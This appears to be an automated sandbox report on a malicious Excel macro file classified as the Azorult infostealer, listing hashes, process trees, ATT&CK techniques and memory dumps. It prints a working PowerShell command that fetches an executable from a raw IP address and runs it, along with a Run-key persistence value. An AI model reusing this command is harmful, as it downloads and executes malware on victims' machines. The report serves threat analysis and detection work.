azorult | dd6cd10d521f6b189b3a56ce5a7fb41d16c1bca171c00e79999690822b7bfe25

Analysis

max time kernel
142s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
30-05-2024 10:37

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General

Target

Copy0761000025.xlsm
Size

430KB
MD5

7d4ea49144ee2f6e90627e4126dd7906
SHA1

435f8134462eeec813c747bf9b8cc7287d3ce05a
SHA256

dd6cd10d521f6b189b3a56ce5a7fb41d16c1bca171c00e79999690822b7bfe25
SHA512

c88469f3bc48600baf802af246aaf66f4c5d1f00baf619b92ad2e1df7a973b98a396e4f20ccbcec43628122c080ee28a921b61e84fe257efdec7e85ecce4e93d
SSDEEP

12288:7fEXQu7SHOCZhSTIS2dGpeWpqivD1YxR25O8UE:7VwarmMSAGMID1R5OtE

Score

10^/10

azorult execution infostealer persistence trojan

Malware Config

Signatures

Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4044	1744	powershell.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

35 4044 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Powershell Invoke Web Request.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

4044 powershell.exe
4044 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

tmp488D.exe

pid process

4712 tmp488D.exe

flow	pid	process
35	4044	powershell.exe

pid	process
4044	powershell.exe
4044	powershell.exe

pid	process
4712	tmp488D.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

tmp488D.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Findo = "C:\\Users\\Admin\\AppData\\Roaming\\Findo.exe"	tmp488D.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

tmp488D.exe

description pid process target process

PID 4712 set thread context of 1008 4712 tmp488D.exe RegAsm.exe

description	pid	process	target process
PID 4712 set thread context of 1008	4712	tmp488D.exe	RegAsm.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1744 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

4044 powershell.exe
4044 powershell.exe
4044 powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exetmp488D.exe

description pid process

Token: SeDebugPrivilege 4044 powershell.exe
Token: SeDebugPrivilege 4712 tmp488D.exe
Token: SeDebugPrivilege 4712 tmp488D.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

1744 EXCEL.EXE
1744 EXCEL.EXE

pid	process
4044	powershell.exe
4044	powershell.exe
4044	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4044	powershell.exe
Token: SeDebugPrivilege	4712	tmp488D.exe
Token: SeDebugPrivilege	4712	tmp488D.exe

Suspicious use of SetWindowsHookEx 16 IoCs

Processes:

EXCEL.EXE

pid	process
1744	EXCEL.EXE
1744	EXCEL.EXE
1744	EXCEL.EXE
1744	EXCEL.EXE
1744	EXCEL.EXE
1744	EXCEL.EXE
1744	EXCEL.EXE
1744	EXCEL.EXE
1744	EXCEL.EXE
1744	EXCEL.EXE
1744	EXCEL.EXE
1744	EXCEL.EXE
1744	EXCEL.EXE
1744	EXCEL.EXE
1744	EXCEL.EXE
1744	EXCEL.EXE

Suspicious use of WriteProcessMemory 14 IoCs

Processes:

EXCEL.EXEpowershell.exetmp488D.exe

description	pid	process	target process
PID 1744 wrote to memory of 4044	1744	EXCEL.EXE	powershell.exe
PID 1744 wrote to memory of 4044	1744	EXCEL.EXE	powershell.exe
PID 4044 wrote to memory of 4712	4044	powershell.exe	tmp488D.exe
PID 4044 wrote to memory of 4712	4044	powershell.exe	tmp488D.exe
PID 4044 wrote to memory of 4712	4044	powershell.exe	tmp488D.exe
PID 4712 wrote to memory of 1008	4712	tmp488D.exe	RegAsm.exe
PID 4712 wrote to memory of 1008	4712	tmp488D.exe	RegAsm.exe
PID 4712 wrote to memory of 1008	4712	tmp488D.exe	RegAsm.exe
PID 4712 wrote to memory of 1008	4712	tmp488D.exe	RegAsm.exe
PID 4712 wrote to memory of 1008	4712	tmp488D.exe	RegAsm.exe
PID 4712 wrote to memory of 1008	4712	tmp488D.exe	RegAsm.exe
PID 4712 wrote to memory of 1008	4712	tmp488D.exe	RegAsm.exe
PID 4712 wrote to memory of 1008	4712	tmp488D.exe	RegAsm.exe
PID 4712 wrote to memory of 1008	4712	tmp488D.exe	RegAsm.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Copy0761000025.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1744

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle hidden -executionpolicy bypass; $TempFile = [IO.Path]::GetTempFileName() | Rename-Item -NewName { $_ -replace 'tmp$', 'exe' } –PassThru; Invoke-WebRequest -Uri "http://185.205.187.173/xd/Copy0761000025pdf.exe" -OutFile $TempFile; Start-Process $TempFile;
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4044

C:\Users\Admin\AppData\Local\Temp\tmp488D.exe
"C:\Users\Admin\AppData\Local\Temp\tmp488D.exe"
3⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4712

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
4⤵
PID:1008

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4124 --field-trial-handle=2676,i,447940133669489189,1353734109898858672,262144 --variations-seed-version /prefetch:8
1⤵
PID:1044

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_utceqnml.jsu.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp488D.exe

Filesize
195KB

MD5
0089e341efa862f22d3af9894d1c5448

SHA1
4d55c851eccec68786c88b064bcf35c1233393f3

SHA256
bfc1cdded42adb884fb46ba53e2f023d0c27d46cf8645614094f5714ebbfb9a8

SHA512
ea2c3b6cd6759b11017c58f7948d04fbafc96474190ca2162ff2486dddcd4fc83074ffd055a3367bb783475787cecb6401248344eb0cec787ef7b5dd7fb96ad4

Download Submit
memory/1744-0-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp

Filesize
64KB

Download
memory/1744-2-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp

Filesize
64KB

Download
memory/1744-1-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp

Filesize
64KB

Download
memory/1744-3-0x00007FFCACE4D000-0x00007FFCACE4E000-memory.dmp

Filesize
4KB

Download
memory/1744-4-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp

Filesize
64KB

Download
memory/1744-5-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp

Filesize
64KB

Download
memory/1744-6-0x00007FFCACDB0000-0x00007FFCACFA5000-memory.dmp

Filesize
2.0MB

Download
memory/1744-7-0x00007FFCACDB0000-0x00007FFCACFA5000-memory.dmp

Filesize
2.0MB

Download
memory/1744-8-0x00007FFCACDB0000-0x00007FFCACFA5000-memory.dmp

Filesize
2.0MB

Download
memory/1744-9-0x00007FFCACDB0000-0x00007FFCACFA5000-memory.dmp

Filesize
2.0MB

Download
memory/1744-11-0x00007FFCACDB0000-0x00007FFCACFA5000-memory.dmp

Filesize
2.0MB

Download
memory/1744-12-0x00007FFCACDB0000-0x00007FFCACFA5000-memory.dmp

Filesize
2.0MB

Download
memory/1744-10-0x00007FFCACDB0000-0x00007FFCACFA5000-memory.dmp

Filesize
2.0MB

Download
memory/1744-14-0x00007FFCACDB0000-0x00007FFCACFA5000-memory.dmp

Filesize
2.0MB

Download
memory/1744-15-0x00007FFCACDB0000-0x00007FFCACFA5000-memory.dmp

Filesize
2.0MB

Download
memory/1744-16-0x00007FFC6A870000-0x00007FFC6A880000-memory.dmp

Filesize
64KB

Download
memory/1744-13-0x00007FFCACDB0000-0x00007FFCACFA5000-memory.dmp

Filesize
2.0MB

Download
memory/1744-18-0x00007FFCACDB0000-0x00007FFCACFA5000-memory.dmp

Filesize
2.0MB

Download
memory/1744-17-0x00007FFCACDB0000-0x00007FFCACFA5000-memory.dmp

Filesize
2.0MB

Download
memory/1744-20-0x00007FFC6A870000-0x00007FFC6A880000-memory.dmp

Filesize
64KB

Download
memory/1744-38-0x00007FFCACDB0000-0x00007FFCACFA5000-memory.dmp

Filesize
2.0MB

Download
memory/1744-39-0x00007FFCACDB0000-0x00007FFCACFA5000-memory.dmp

Filesize
2.0MB

Download
memory/1744-67-0x00007FFCACDB0000-0x00007FFCACFA5000-memory.dmp

Filesize
2.0MB

Download
memory/1744-70-0x00007FFCACDB0000-0x00007FFCACFA5000-memory.dmp

Filesize
2.0MB

Download
memory/1744-4978-0x00007FFCACDB0000-0x00007FFCACFA5000-memory.dmp

Filesize
2.0MB

Download
memory/4044-40-0x00007FFCACDB0000-0x00007FFCACFA5000-memory.dmp

Filesize
2.0MB

Download
memory/4044-46-0x00000215675A0000-0x00000215675C2000-memory.dmp

Filesize
136KB

Download
memory/4044-64-0x00007FFCACDB0000-0x00007FFCACFA5000-memory.dmp

Filesize
2.0MB

Download
memory/4712-73-0x0000000006D20000-0x00000000072C4000-memory.dmp

Filesize
5.6MB

Download
memory/4712-82-0x0000000006540000-0x0000000006763000-memory.dmp

Filesize
2.1MB

Download
memory/4712-66-0x0000000000A60000-0x0000000000A92000-memory.dmp

Filesize
200KB

Download
memory/4712-74-0x00000000062C0000-0x0000000006352000-memory.dmp

Filesize
584KB

Download
memory/4712-80-0x0000000006540000-0x0000000006763000-memory.dmp

Filesize
2.1MB

Download
memory/4712-84-0x0000000006540000-0x0000000006763000-memory.dmp

Filesize
2.1MB

Download
memory/4712-98-0x0000000006540000-0x0000000006763000-memory.dmp

Filesize
2.1MB

Download
memory/4712-130-0x0000000006540000-0x0000000006763000-memory.dmp

Filesize
2.1MB

Download
memory/4712-110-0x0000000006540000-0x0000000006763000-memory.dmp

Filesize
2.1MB

Download
memory/4712-102-0x0000000006540000-0x0000000006763000-memory.dmp

Filesize
2.1MB

Download
memory/4712-100-0x0000000006540000-0x0000000006763000-memory.dmp

Filesize
2.1MB

Download
memory/4712-96-0x0000000006540000-0x0000000006763000-memory.dmp

Filesize
2.1MB

Download
memory/4712-94-0x0000000006540000-0x0000000006763000-memory.dmp

Filesize
2.1MB

Download
memory/4712-92-0x0000000006540000-0x0000000006763000-memory.dmp

Filesize
2.1MB

Download
memory/4712-90-0x0000000006540000-0x0000000006763000-memory.dmp

Filesize
2.1MB

Download
memory/4712-89-0x0000000006540000-0x0000000006763000-memory.dmp

Filesize
2.1MB

Download
memory/4712-86-0x0000000006540000-0x0000000006763000-memory.dmp

Filesize
2.1MB

Download
memory/4712-72-0x0000000006540000-0x000000000676A000-memory.dmp

Filesize
2.2MB

Download
memory/4712-76-0x0000000006540000-0x0000000006763000-memory.dmp

Filesize
2.1MB

Download
memory/4712-78-0x0000000006540000-0x0000000006763000-memory.dmp

Filesize
2.1MB

Download
memory/4712-75-0x0000000006540000-0x0000000006763000-memory.dmp

Filesize
2.1MB

Download
memory/4712-128-0x0000000006540000-0x0000000006763000-memory.dmp

Filesize
2.1MB

Download
memory/4712-126-0x0000000006540000-0x0000000006763000-memory.dmp

Filesize
2.1MB

Download
memory/4712-124-0x0000000006540000-0x0000000006763000-memory.dmp

Filesize
2.1MB

Download
memory/4712-122-0x0000000006540000-0x0000000006763000-memory.dmp

Filesize
2.1MB

Download
memory/4712-120-0x0000000006540000-0x0000000006763000-memory.dmp

Filesize
2.1MB

Download
memory/4712-118-0x0000000006540000-0x0000000006763000-memory.dmp

Filesize
2.1MB

Download
memory/4712-116-0x0000000006540000-0x0000000006763000-memory.dmp

Filesize
2.1MB

Download
memory/4712-114-0x0000000006540000-0x0000000006763000-memory.dmp

Filesize
2.1MB

Download
memory/4712-112-0x0000000006540000-0x0000000006763000-memory.dmp

Filesize
2.1MB

Download
memory/4712-108-0x0000000006540000-0x0000000006763000-memory.dmp

Filesize
2.1MB

Download
memory/4712-107-0x0000000006540000-0x0000000006763000-memory.dmp

Filesize
2.1MB

Download
memory/4712-104-0x0000000006540000-0x0000000006763000-memory.dmp

Filesize
2.1MB

Download
memory/4712-4979-0x0000000001310000-0x0000000001376000-memory.dmp

Filesize
408KB

Download
memory/4712-4980-0x0000000001380000-0x00000000013CC000-memory.dmp

Filesize
304KB

Download
memory/4712-4981-0x0000000001410000-0x0000000001464000-memory.dmp

Filesize
336KB

Download